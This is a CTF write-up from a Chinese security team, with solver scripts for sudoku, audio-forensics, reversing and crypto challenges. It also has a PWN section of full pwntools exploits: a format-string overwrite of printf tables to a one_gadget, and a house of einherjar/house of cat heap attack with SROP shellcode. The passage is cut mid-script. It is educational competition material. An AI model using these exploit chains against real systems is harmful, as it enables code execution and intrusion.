HEADER
团队简介:
山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于CTF组,我们积极参与国内外各大网络安全竞赛的同时并依托高超的逆向分析与情报分析、渗透测试技术为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。
合作事宜:
1. 案源支撑(专攻诈骗类、赌博类,无财政预算勿扰)。
2. CTF赛事支撑、线上&线下培训。
题目附件下载地址请后台回复:anxunsyctf2023
MISC
sudoku_easy:
简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目
将形如
-——————–
800103720
023840650
410006008
300001062
000052407
072060090
160000375
205019846
000030000
-——————–
转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式
def parse_input(input_list):
board = []
for row in input_list:
nums = list(map(int, row))
board.append(nums)
return board
def format_output(board):
formatted = ""
for row in board:
formatted += "".join(map(str, row)) + "n"
return formatted.strip()
一开始以为每次获得5分,要拿到120分,range了24次,一直出问题,后来发现获得分数是递增的,同时调试了一下发现拿到120分会返回一个getshell,因此修改一下range7次,最终脚本:
def find_empty(board):
for row in range(9):
for col in range(9):
if board[row][col] == 0:
return row, col
return None
def is_valid(board, num, pos):
row, col = pos
for i in range(9):
if board[row][i] == num and col != i:
return False
if board[i][col] == num and row != i:
return False
box_row = row // 3
box_col = col // 3
for i in range(box_row * 3, box_row * 3 + 3):
for j in range(box_col * 3, box_col * 3 + 3):
if board[i][j] == num and (i, j) != pos:
return False
return True
def solve(board):
find = find_empty(board)
if not find:
return True
else:
row, col = find
for i in range(1, 10):
if is_valid(board, i, (row, col)):
board[row][col] = i
if solve(board):
return True
board[row][col] = 0
return False
def parse_input(input_list):
board = []
for row in input_list:
nums = list(map(int, row))
board.append(nums)
return board
def format_output(board):
formatted = ""
for row in board:
formatted += "".join(map(str, row)) + "n"
return formatted.strip()
# input_string = '''---------------------
# 800103720
# 023840650
# 410006008
# 300001062
# 000052407
# 072060090
# 160000375
# 205019846
# 000030000
# ---------------------
# now give me you solve:'''
# lists=input_string.split('n')[1:10]
# board = parse_input(lists)
# print(board)
# solve(board)
# print(board)
from pwn import *
# 创建连接
conn = remote('47.108.165.60',27539)
# 接收欢迎信息
for i in range(7):
msg = conn.recvuntil("Please input:").strip().decode("utf-8")
print(msg)
# 发送选择
conn.sendline('1'.encode())
# 接收下一步提示
msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")
print(msg)
conn.sendline('5'.encode())
msg = conn.recvuntil("clock start").strip().decode("utf-8")
print(msg)
time.sleep(5)
msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")
print(msg)
lists = msg.split('n')[1:10]
board = parse_input(lists)
solve(board)
solved = format_output(board)
conn.sendline(solved.encode())
conn.interactive()
getflag
sudoku_speedrun:
小小升级版数独,telnet交互
kali :: ~ 127 » telnet 47.108.165.60 37569
Trying 47.108.165.60...
Connected to 47.108.165.60.
Escape character is '^]'.
Ubuntu 22.04.2 LTS
Welcome to Play Sudoku Game!
Play(1)
Exit(2)
Please input
> 1
Tips:
R to replay
Q to exit
WASD to move
You have 10000ms to solve it :)
Please select the level
easy(5)
normal(6)
hard(7)
>5
这次需要解出之后通过移动光标将数独还原
其实大差不差,这里主要几个点
题目用了ANSI转义码,读取数据时会有大量的乱码,需要replace掉
response=response.replace(b’x1b[7;32m’,b”).replace(b’x1b[0m’,b”).replace(b’x1b[1;32m’,b”).replace(b’x1b[Hx1b[2J’,b”)
这里我为方便采用了在每一行右移填补到最后之后,往下再重新左移到最左边,再开始下一行的右移填补,而不是用左移填补导致需要倒着索引,略微增加了时间复杂度
def solve(input_string):
original_board = parse_input(input_string)# 创建原始数组的副本
board_copy = [row[:] for row in original_board]
solution = solve_sudoku(original_board)
# print(board_copy)
# print(solution)
lists=[]
for i in range(9):
for j in range(9):
if board_copy[i][j] == 0:
lists.append(str(solution[i][j]))
if j != 8:
lists.append('d')
lists.extend('saaaaaaaa')
# print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")
return lists
读取到形如
-————————
4 3 0 | 0 0 6 | 2 0 0 |
8 0 0 | 0 7 0 | 0 0 3 |
2 0 7 | 0 5 0 | 1 4 6 |
-————————
0 0 0 | 0 0 0 | 0 7 5 |
7 5 0 | 8 0 0 | 6 2 0 |
0 2 9 | 7 3 5 | 0 1 0 |
-————————
5 6 0 | 4 0 3 | 0 9 0 |
0 0 2 | 5 0 0 | 8 0 0 |
3 0 1 | 0 8 2 | 0 6 4 |
转二维数组
def parse_input(input_string):
rows = input_string.strip().split('n')
board = []
for row in rows:
row = row.replace('-', '').replace('|', '').split()
nums = [int(num) if num != '0' else 0 for num in row]
if nums!=[]:
board.append(nums)
return board
经过尝试后发现只要发送数组服务器便会执行移动与填充操作,例如发送[‘d’,‘d’,‘1’]光标会右移两个单位并填入1
最终脚本:
import telnetlib
def solve_sudoku(board):
if is_complete(board):
return board
row, col = find_empty_cell(board)
for num in range(1, 10):
if is_valid(board, row, col, num):
board[row][col] = num
if solve_sudoku(board):
return board
board[row][col] = 0
return None
def is_complete(board):
for row in board:
if 0 in row:
return False
return True
def find_empty_cell(board):
for i in range(9):
for j in range(9):
if board[i][j] == 0:
return i, j
return None, None
def is_valid(board, row, col, num):
# Check row
if num in board[row]:
return False
# Check column
for i in range(9):
if board[i][col] == num:
return False
# Check 3x3 box
box_row = (row // 3) * 3
box_col = (col // 3) * 3
for i in range(box_row, box_row + 3):
for j in range(box_col, box_col + 3):
if board[i][j] == num:
return False
return True
def parse_input(input_string):
rows = input_string.strip().split('n')
board = []
for row in rows:
row = row.replace('-', '').replace('|', '').split()
nums = [int(num) if num != '0' else 0 for num in row]
if nums!=[]:
board.append(nums)
return board
def solve(input_string):
original_board = parse_input(input_string)# 创建原始数组的副本
board_copy = [row[:] for row in original_board]
solution = solve_sudoku(original_board)
# print(board_copy)
# print(solution)
lists = []
for i in range(9):
for j in range(9):
if board_copy[i][j] == 0:
lists.append(str(solution[i][j]))
if j != 8:
lists.append('d')
lists.extend('saaaaaaaa')
# print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")
return lists
tn = telnetlib.Telnet('47.108.165.60',36697)
welcome_msg = tn.read_until(b"Please input")
print(welcome_msg.decode("utf-8"))
# 发送返回值到服务器
tn.write("1".encode("utf-8") + b"n")
msg = tn.read_until(b"hard(7)")
print(msg.decode("utf-8"))
tn.write("5".encode("utf-8") + b"n")
msg = ''
for i in range(15):
response = tn.read_until(b"n")
# print((response))
response = response.replace(b'x1b[7;32m',b'').replace(b'x1b[0m',b'').replace(b'x1b[1;32m',b'').replace(b'x1b[Hx1b[2J',b'')
msg += response.decode().strip('> 5')
tn.write(str(solve(msg)).encode("utf-8") + b"n")
tn.interact()
烦人的压缩包:
爆破
jpg文件尾压缩包
提取出来直接解压提示crc报错,观察后发现store算法却有着极高的压缩率明显不合理
改一下压缩方式和解压方式为default(单单改解压方式也够了)
解开后ook解密
Cancellation:
题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv
结合file用Matroska打包猜测应该是mkv文件
用mkvtool发现确实有多个音频轨道
mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的)
轨道3可以读到一张图
轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图
在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图
再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像
import librosa
import soundfile as sf
import numpy as np
audio1, sr1 = librosa.load('2.wav', sr=None)
audio2, sr2 = librosa.load('3.wav', sr=None)
result = 2*audio1-audio2
sf.write('result.wav', result, sr1)
扫描的结果解base64得到图片
拿到flag
REVERSE
ez_cpp:
patch程序, 输出匹配的密文数量到exitcode。
.text:00413CFA jmp short loc_413D19
.text:00413CFA ; ---------------------------------------------------------------------------
.text:00413D19 loc_413D19: ; CODE XREF: .text:00413CFA↑j
.text:00413D19 push ecx
.text:00413D1A nop
.text:00413D1B call ds:__imp_exit
爆破脚本:
import string
import os
import time
table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
for ch in table:
flag = (theflag+ch).ljust(32, '#')
exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
if exitcode >= len(theflag) + 1:
theflag += ch
print(theflag, exitcode)
break
else:
print('not found')
time.sleep(0.1)
3D_Maze:
dump迷宫地图
m = ['#', ' ', '2', '$', '3', '@', '5']
for level in range(6):
print('level', level)
for y in range(10):
line = ''
for x in range(10):
n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)
line += m[n]
print(line)
手搓
level 0 跳 1-?-0
## #######
## #### ##
## # ##
## # #####
## # *衔接1 wddwwdddddD
## # #####
## *衔接1
##4# #####
###$######
###*###### w
level 5 可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
## ######
## #######
* ####### ddwwdwwwwwW
##########
##########
level 1
##########
# #####
# ## *衔接2 dwwwdddsdddddD
# ########
* ########
##########
* #####
##########
##########
##########
level 3 可以跳到5-7-0
##*####### sssssssssS
## #######
## # ####
## ## ###
## ######
## ######
## ## ###
## # ####
## #######
##*#######
level 2 可以跳到4-0-9
*######### wwW
#########
*## # ###
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########
level 4 可以跳3-0-2
######## * 从2过来
######## #
* # assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########
00000000000111111111111112224444444444443333333333555555555550
wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw
snake:
import ctypes
from Crypto.Cipher import ARC4
from hashlib import md5
libc = ctypes.CDLL("ucrtbase.dll")
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
srand = libc.srand
rand = libc.rand
srand(0x94307F97)
seed_list = []
for i in range(361):
seed_list.append(rand())
def enc(buf, size, seed):
srand(seed)
keysize = int(rand()*1.0/32767.0 * 256.0)
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789x00'
pwd = ''
for i in range(keysize):
idx = int(rand()*1.0 / 32767.0 * 63.0)
pwd += table[idx]
cipher = ARC4.ARC4Cipher(pwd.encode())
xorstream = b'x00'*size
xorstream = cipher.encrypt(xorstream)
outbuf = bytearray(buf)
for i in range(size):
outbuf[i] ^= xorstream[i]
return bytes(outbuf)
foods = []
for i in range(361):
srand(seed_list[i])
while 1:
y = rand() % 20
x = rand() % 20
if not (x == 0 or x == 19 or y == 0 or y == 19):
# print(i, y, x)
foods.append((y, x))
break
tmp = 0x92
data = b'x02'
for i in range(2):
data += bytes([data[-1] ^ 0xBE])
# print(data.hex())
flag_data = data[:]
eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???
for i in range(eat_count):
y, x = foods[i]
pos = y << 8 | x
data = enc(data, 3+i, pos)
# print(data.hex())
_tmp = tmp
# print(hex(tmp-1), hex(data[0]-1))
tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF
flag_data = data[:]
data = data[::-1]
data += bytes([_tmp])
# print(hex(tmp))
s = flag_data.ljust(361, b'x00').hex().encode()
print('flag_data', len(flag_data))
print('SYC{'+md5(s[:722]).hexdigest()+'}')
babythread:
断在0x411BDE位置,把输入替换成密文
(DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。
然后断在memcmp处, 拿到明文flag。
0129FE14 53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61 SYC{Th1s_is_@_Ea
0129FE24 73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D sY_3ncryptO!!!!}
gowhere:
from claripy import *
from libnum import *
tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9
def enc1():
global unk
unk += 1
if unk & 1 == 0:
for i in range(30):
tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17
def enc2():
global unk
unk += 1
tmp_flag[0] += 2
tmp_flag[1] -= 28
tmp_flag[2] ^= 0x47
tmp_flag[3] += tmp_flag[4]
tmp_flag[5] += 73
tmp_flag[6] += 12
tmp_flag[7] -= tmp_flag[8]
tmp_flag[8] ^= 0x5A
tmp_flag[9] ^= 0x22
tmp_flag[10] += 20
tmp_flag[12] -= 84
tmp_flag[13] ^= 4
tmp_flag[14] ^= 0x1C
tmp_flag[17] -= 1
tmp_flag[27] ^= 0x11
tmp_flag[28] ^= 3
def enc3():
global unk
if unk % 3 == 2:
v13 = 0
v11 = 29
while v13 < 15:
tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
v13 += 1
v11 -= 1
unk += 1
solve = Solver()
for i in range(4):
enc1()
enc2()
enc3()
print(hex(unk))
enc_flag = bytes.fromhex(
'4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')
for i in range(30):
solve.add(enc_flag[i] == tmp_flag[i])
for k in solve.eval(flag, 2):
print(n2s(k))
# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'
ezr3:
脱壳,调试
魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。
之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF
可执行文件
之后即可将文件push到手机上并通过安卓真机+IDA调试
分析
main函数开头会修改内存中的数据,调试获取即可
加密过程如下:循环移位、异或、乘法运算
脚本:
unsigned int fin[36] = {
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0,
0x00001888, 0x00003B80,
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860,
0x0014F410, 0x0002CB9F,
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D,
0x00050CF8, 0x00005D64,
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F,
0x000DBACB, 0x00049680,
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3
};
unsigned long mul[36] = {
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B,
0x00000000000003C9,
0x0000000000000C3F, 0x00000000000017E9,
0x000000000000130E, 0x0000000000000088,0x0000000000000486,
0x000000000000202F,
0x0000000000002230, 0x00000000000024B4,
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2,
0x00000000000023EB,
0x0000000000000C7E, 0x000000000000042B,
0x00000000000005BF, 0x000000000000113C,0x0000000000000449,
0x0000000000001751,
0x0000000000000ACE, 0x0000000000001894,
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD,
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111,
0x0000000000000D1C,
0x000000000000238E, 0x0000000000001759, 0x000000000000012B,
0x000000000000214D
};
unsigned char flag[40] = { 0 };
unsigned long* a = &mul[18];
for (int i = 0; i < 36; i += 6) {
flag[i] = fin[i] / (*(a - 18));
flag[i + 1] = fin[i + 1] / (*(a - 12));
flag[i + 2] = fin[i + 2] / (*(a - 6));
flag[i + 3] = fin[i + 3] / (*(a));
flag[i + 4] = fin[i + 4] / (*(a + 6));
flag[i + 5] = fin[i + 5] / (*(a + 12));
a++;
}
int j = 0;
for (int i = 35; i >= 0; --i) {
flag[i] ^= flag[j++];
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff;
}
printf("%s", flag);
PWN
harde pwn:
第一步
p.recvuntil(' game!n')
p.send(b'a'*28+p32(0))
rand_list=[1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]
for i in range(len(rand_list)):
p.recvuntil('input:')
p.sendline(str(rand_list[i]))
fmt 部分, 通过栈链改 printf arginfo table 到 one gadget
from pwn import *
context(os='linux', arch='amd64')#, log_level='debug')
procname = './pwn'
libcname = './libc.so.6'
# io = process(procname, stdin=PTY)
io = remote('47.108.165.60', 47744)
elf = ELF(procname)
libc = ELF(libcname)
n2b = lambda x : str(x).encode()
rv = lambda x : io.recv(x)
ru = lambda s : io.recvuntil(s, drop=True)
sd = lambda s : io.send(s)
sl = lambda s : io.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia = lambda : io.interactive()
rop = lambda r : flat([p64(x) for x in r])
sa(b' game!n', b'a' * 28 + p32(0))
rand_list=[1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]
for i in range(len(rand_list)):
sla(b'input:', str(rand_list[i]).encode())
sa(b'input your data ;)n', b'%pAAAA ')
heap = int(ru(b'AAAA'), 16)
success(f'leak heap: {hex(heap)}')
sa(b'input your data ;)n', b'%11$llxAAAA ')
libc.address = int(ru(b'AAAA'), 16) - libc.sym.__libc_start_main + 128 - 0x50
success(f'leak libc.address: {hex(libc.address)}')
printf_arginfo = libc.address + 0x21A8B0
success(f'printf_arginfo: {hex(printf_arginfo)}')
printf_functable = libc.address + 0x21b9c8
success(f'printf_functable: {hex(printf_functable)}')
sa(b'input your data ;)n', b'%15$pAAAA ')
stack = int(ru(b'AAAA'), 16)
success(f'leak stack: {hex(stack)}')
ra = stack - 0x110
sa(b'input your data ;)n', f'%{ra&0xffff}c%15$hn '.encode())
sa(b'input your data ;)n', f'%{printf_arginfo&0xffff}c%45$hn '.encode())
sa(b'input your data ;)n', f'%{(ra + 2)&0xffff}c%15$hn '.encode())
sa(b'input your data ;)n', f'%{(printf_arginfo >> 16) & 0xff}c%45$hhn '.encode())
sa(b'input your data ;)n', f'%{ra&0xffff}c%15$hn '.encode())
sa(b'input your data ;)n', f'%{heap&0xffff}c%11$hn '.encode())
sa(b'input your data ;)n', f'%{(printf_arginfo + 2) & 0xff}c%45$hhn '.encode())
sa(b'input your data ;)n', f'%{(heap >> 16)&0xffff}c%11$hn '.encode())
sa(b'input your data ;)n', f'%{(printf_arginfo + 4) & 0xff}c%45$hhn '.encode())
sa(b'input your data ;)n', f'%{(heap >> 32)&0xffff}c%11$hn '.encode())
sa(b'input your data ;)n', f'%{printf_functable & 0xffff}c%45$hn '.encode())
sa(b'input your data ;)n', b'A%11$hhn ')
import subprocess
def get_one_gadgets():
one_gadgets = [int(i) + libc.address for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
debug(f'search one gadgets from {libcname}: {[hex(i) for i in one_gadgets]}')
return one_gadgets
import sys
sa(b'input your data ;)n', b'%A'.ljust(8, b' ') + p64(get_one_gadgets()[int(sys.argv[1])]) * 0x41)
ia()
DE_CAT:
off by null, house of einherjar 造成堆重叠后打 house of cat
from pwn import *
context(os='linux', arch='amd64')#, log_level='debug')
procname = './pwn'
libcname = './libc.so.6'
# io = process(procname, stdin=PTY)
io = remote('47.108.165.60', 22692)
elf = ELF(procname)
libc = ELF(libcname)
n2b = lambda x : str(x).encode()
rv = lambda x : io.recv(x)
ru = lambda s : io.recvuntil(s, drop=True)
sd = lambda s : io.send(s)
sl = lambda s : io.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia = lambda : io.interactive()
rop = lambda r : flat([p64(x) for x in r])
def leakaddr(pre = None, suf = None, bit = 64, keepsuf = True, off = 0):
u = {64: u64, 32: u32}
num = 6 if bit == 64 else 4
if pre is not None:
ru(pre)
if suf is not None:
r = ru(suf)
if keepsuf:
r += suf
r = r[-num:]
else:
r = rv(num)
return u[bit](r.ljust(bit//8, b' ')) - off
prompt = b':'
prompt_menu = b'>> n'
prompt_idx = prompt
op = lambda x : sla(prompt_menu, n2b(x))
snap = lambda n : sna(prompt, n)
sidx = lambda x : sla(prompt_idx, n2b(x))
sap = lambda s : sa(prompt, s)
slap = lambda s : sla(prompt, s)
def add(size, content):
op(1)
snap(size)
sap(content)
def edit(idx, content):
op(4)
sidx(idx)
sap(content)
def show(idx):
op(3)
sidx(idx)
def free(idx):
op(2)
sidx(idx)
add(0x90, b' ')
add(0x90, b'1')
free(0)
add(0x90, b' ')
show(0)
heap = leakaddr(pre=b'context:n') << 12
success(f'leak heap: {hex(heap)}')
free(0)
free(1)
fake_chunk = heap + 0x3e0
add(0xf10, rop([0, 0x1EA1, fake_chunk, fake_chunk]))
add(0xef0, b'1')
add(0x88, b'2')
add(0xef0, b'3')
add(0xa0, b'4')
edit(2, b'a' * 0x80 + p64(0x1EA0))
# pause()
free(3)
show(0)
libc.address = leakaddr(suf=b'x7f', off=0x219CE0)
success(f'leak libc.address: {hex(libc.address)}')
pause()
add(0x300, b'3')
add(0x300, b'5')
free(5)
free(3)
ptr = libc.sym._IO_list_all
fd = (fake_chunk >> 12) ^ ptr
edit(0, rop([0, 0x310, fd]))
fake_io_addr = fake_chunk + 0x10
frame_addr = fake_io_addr + 0x100
frame = SigreturnFrame()
frame.rip = libc.sym.mprotect
frame.rdi = heap
frame.rsi = 0x10000
frame.rdx = 7
frame.rsp = fake_io_addr + 0xf0
code_addr = frame_addr + len(bytes(frame))
fake_io_file = rop([
u64(b'/flag'.ljust(8, b' ')), 0, # 0x00
1, libc.sym.setcontext + 0x3d, # 0x10
1, frame_addr, # 0x20
0, 0, # 0x30
0, 0, # 0x40
0, 0, # 0x50
0, 0, # 0x60
0, 0, # 0x70
0, heap, # 0x80
0, 0, # 0x90
fake_io_addr + 8, 0, # 0xa0
0, 0, # 0xb0
1, 0, # 0xc0
0, libc.sym._IO_wfile_jumps + 0x30, # 0xd0
0, fake_io_addr, # 0xe0
code_addr, 0, # 0xf0
])
code = shellcraft.open(fake_io_addr, 0) + shellcraft.sendfile(2, 3, 0, 0x50)
payload = fake_io_file + bytes(frame) + asm(code) + b' ' * 10
add(0x300, payload)
add(0x300, p64(fake_io_addr))
ia()
CRYPTO
signin:
关键点是求出data1,data2。通过data3 = ring(data1 / data2)
我们可以使用连分数求解。
import gmpy2
from Crypto.Util.number import long_to_bytes
#求出data1,data2
data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c = continued_fraction(data3)
print(c)
alist = c.convergents()
print(alist)
for i in alist:
a = str(i).split('/')
if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(
a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:
print(a)
break
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']
#解密leak得到p-q
data1=97093002077798295469816641595207740909547364338742117628537014186754830773717
data2=67958620138887907577348085925738704755742144710390414146201367031822084270769
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
e=data1
n=data1*data2
phi = (data1-1) * (data2-1)
d = gmpy2.invert(e,phi)
p_q = gmpy2.powmod(leak,d,n)
print(p_q)
#求解p,q
p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
var("p,q")
eq1= p-q ==p_q
eq2= p*q ==n
sol = solve([eq1,eq2], p, q)
print(sol)
p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)-data2
print(m)
print(long_to_bytes(m))
crazyTreat:
关键在于构建关于m的多项式
$$P=m^p pmod {p*q*r} \
Q=m^q pmod {p*q*r} \
R=m^R pmod {p*q*r} \
费马小定理:\
m^p=m pmod p \
P=m+k1*p+k2*pqr=m+k3*p \
Q,R同理 \qquadtext{(1)}$$
即:
$$P=m+k3*p\
Q=m+k4*q\
R=m+k5*r\
且:
k_3p=P-M,k_4q=Q-m,k_5r=R-m\
所以:
P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)equiv 0 pmod nqquadtext{(2)}$$
from Crypto.Util.number import *
import gmpy2
#coppersmith
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
n = clown
p = trick
pbits = 512
kbits = 220
p=p>>kbits<<kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)
p=p+int(x0[0])
print(p)
#构建关于m的多项式求解即可,m即为r
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
PR.<m> = PolynomialRing(Zmod(n))
f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)
f = f.monic()
m = f.small_roots(X=2^280, beta=0.4)
print(m)
r=m
#直接解密即可
r=105960538296223496551922954965164644267919720177702173352061963871195469608683
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
e = 65537
n=p*r
phi = (r-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(m)
print(long_to_bytes(m))
Alexei needs help:
将迭代改为循环即可。
from random import randint
import gmpy2 as gp
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
from binascii import *
from tqdm import tqdm
a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq = [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
ct = 0x37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81
n = 2023
def seqsum(i):
ans = 0
for j in range(len(seq)):
ans += gp.powmod(i, j, m) * seq[j]
return ans
def home1work(n):
if n == 1:
return 1
elif n == 2:
return 1
else:
previous, current = 1, 1
